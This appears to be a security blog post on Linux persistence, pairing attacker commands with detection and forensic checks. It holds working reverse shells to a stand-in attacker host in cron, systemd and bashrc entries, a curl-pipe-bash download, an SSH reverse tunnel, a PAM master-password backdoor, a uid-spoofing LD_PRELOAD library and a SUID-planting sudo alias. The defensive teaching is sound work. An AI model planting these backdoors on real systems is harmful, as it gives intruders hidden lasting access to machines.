> Linux Persistence Techniques: How Attackers Stay Hidden_
Getting in is the easy part. Staying in — surviving reboots, log rotations, and incident response — is where the craft is.
This post covers the most common and effective Linux persistence techniques used in real intrusions, with commands, detection notes, and DFIR artefacts for each.
## 1. Cron jobs
The classic. Cron runs scheduled commands; attackers add entries to re-establish a reverse shell on a schedule.
User crontab (no root needed):
# Add a cron job as current user
crontab -e
# Or write directly
echo "*/5 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1" | crontab -System cron (root):
# /etc/crontab or /etc/cron.d/
echo "*/5 * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /etc/cron.d/sysupdateDetection:
- >
crontab -l -u <user>for each user - >Monitor
/var/spool/cron/crontabs/,/etc/cron.d/,/etc/crontab - >Auditd rule:
-w /var/spool/cron -p wa - >New cron entries at unusual hours spike in log analysis
## 2. Systemd service units
More persistent and stealthier than cron — survives reboot and looks like a legitimate service.
cat > /etc/systemd/system/sysupdate.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable sysupdate.service
systemctl start sysupdate.serviceMore subtle variant: modify an existing legitimate service to execute a second command:
[Service]
ExecStartPost=/bin/bash -c 'curl https://attacker.com/c2 | bash &'Detection:
- >
systemctl list-units --all --type=service - >New
.servicefiles in/etc/systemd/system/or/lib/systemd/system/ - >Check
ExecStart/ExecStartPostin service files for suspicious commands - >
journalctl -u sysupdate.service— service logs - >Auditd:
-w /etc/systemd/system -p wa
## 3. SSH backdoors
Authorised keys (no root needed):
The most reliable persistence for SSH access. Add your public key to a user's ~/.ssh/authorized_keys:
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-rsa AAAA...attacker-key..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keysRoot access: same thing in /root/.ssh/authorized_keys.
Modifying sshd_config (root):
# Allow root login with any key
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
# Accept a specific environment variable (can be used with forced commands)
echo "PermitUserEnvironment yes" >> /etc/ssh/sshd_configSSH config persistence via ~/.ssh/config:
Users with outbound SSH access can add:
Host tunnel
HostName attacker.com
RemoteForward 2222 localhost:22
User attacker
IdentityFile ~/.ssh/id_rsa
ServerAliveInterval 60
ExitOnForwardFailure no
Combined with a cron job running ssh -N tunnel, this creates a persistent reverse tunnel.
Detection:
- >Monitor
/root/.ssh/authorized_keysand all user~/.ssh/authorized_keys - >Diff against known-good state
- >
ss -tnp— look for outbound SSH (port 22) to unexpected IPs - >
worwho— active SSH sessions - >
/var/log/auth.log—Accepted publickeyentries with unknown keys
## 4. LD_PRELOAD hijacking
LD_PRELOAD is an environment variable that tells the dynamic linker to load a shared library before all others. Any function in your library overrides the real one — including getpwnam(), PAM calls, or even system().
Create a backdoor library:
// backdoor.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
// Override getuid to always return 0 (root) for a specific user
int getuid(void) {
return 0;
}
int geteuid(void) {
return 0;
}gcc -shared -fPIC -o /lib/x86_64-linux-gnu/libsecurity.so backdoor.c -ldl
echo "/lib/x86_64-linux-gnu/libsecurity.so" >> /etc/ld.so.preload/etc/ld.so.preload applies the preload to every dynamically-linked binary on the system. This is how some rootkits hide processes — override readdir() to filter out their entries.
More subtle: inject only into specific programs via LD_PRELOAD in the environment (affects only that shell session), or via a wrapper script that sets the env var.
Detection:
- >Check
/etc/ld.so.preload— should normally be empty - >Look for unusual
.sofiles in/lib/,/usr/lib/ - >
ldd /bin/ls— check what libraries standard binaries load - >Auditd:
-w /etc/ld.so.preload -p wa
## 5. PAM module backdoor
Pluggable Authentication Modules (PAM) control authentication on Linux. A malicious PAM module can accept a master password for any account — or log real passwords.
// pam_backdoor.c
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <string.h>
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
int argc, const char **argv) {
const char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
// Accept master password regardless of user
if (password && strcmp(password, "Sup3rS3cr3tM@st3r") == 0) {
return PAM_SUCCESS;
}
// Fall through to real auth (call next module)
return PAM_IGNORE;
}Compile and drop into /lib/security/pam_update.so, then add to /etc/pam.d/common-auth:
auth sufficient pam_update.so
The sufficient keyword means if the backdoor returns success, skip remaining auth checks.
Detection:
- >Audit
/etc/pam.d/for unexpected modules - >Check
ls -la /lib/security/for recently added or modified.sofiles - >Compare PAM config against known-good baseline
- >Any
.soin PAM config that doesn't ship with the distro is suspicious
## 6. Bashrc / profile injection
Low-effort, noisy, but effective against users who don't check their shell config.
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> ~/.bashrc
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> ~/.profile
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /etc/profile.d/system.shMore subtle — alias injection:
echo "alias sudo='sudo bash -c \"cp /bin/bash /tmp/.bash && chmod +s /tmp/.bash\" && sudo'" >> ~/.bashrcNext time the user runs sudo, a SUID bash copy appears in /tmp.
Detection:
- >Review
~/.bashrc,~/.bash_profile,~/.profile,/etc/profile.d/for all users - >Monitor for SUID binaries in
/tmpor/var/tmp
## 7. Kernel module rootkit
The nuclear option. A malicious kernel module has ring-0 privileges and can hide processes, files, network connections, and itself.
// hide.c (simplified)
#include <linux/module.h>
#include <linux/syscalls.h>
// Hook getdents64 to filter out directory entries with a specific prefix
// This hides files starting with ".rootkit_" from ls/findinsmod hide.koCombined with sys_call_table hooking, a rootkit can make the system appear completely clean while running malicious processes.
Detection:
- >
lsmod— but a rootkit can hide from this - >
modprobe --show-depends <module>— check loaded modules - >Compare
/sys/module/against expected modules - >Memory forensics tools: Volatility, AVML for memory acquisition
- >Kernel integrity: IMA/EVM, SecureBoot with module signing
- >Out-of-band: compare running system state with a known-clean snapshot
## DFIR checklist: where to look
When hunting for persistence on a compromised Linux box:
# Cron
crontab -l -u root
for user in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$user" 2>/dev/null; done
ls -la /etc/cron*
# Services
systemctl list-units --type=service --all
find /etc/systemd /lib/systemd -name "*.service" -newer /var/log/syslog
# SSH keys
find /home /root -name "authorized_keys" 2>/dev/null
find /home /root -name "known_hosts" 2>/dev/null
# SUID/SGID files
find / -perm -4000 -o -perm -2000 2>/dev/null | grep -v proc
# Recently modified files
find /etc /bin /sbin /usr/bin /usr/sbin -mtime -7 -type f 2>/dev/null
# LD_PRELOAD
cat /etc/ld.so.preload
# PAM
ls -la /lib/security/
grep -r "sufficient\|requisite" /etc/pam.d/
# Kernel modules
lsmod | awk '{print $1}' | tail -n +2 | xargs modinfo 2>/dev/null | grep -E "filename|signer"
# Listening / outbound connections
ss -tulnp
ss -tnp state establishedLinux persistence is a cat-and-mouse game. Attackers move to kernel-level techniques precisely because they evade user-space detection. The best defence is immutable infrastructure (bake images, detect drift) combined with host-based telemetry (auditd, eBPF-based EDR) that captures system calls rather than file snapshots.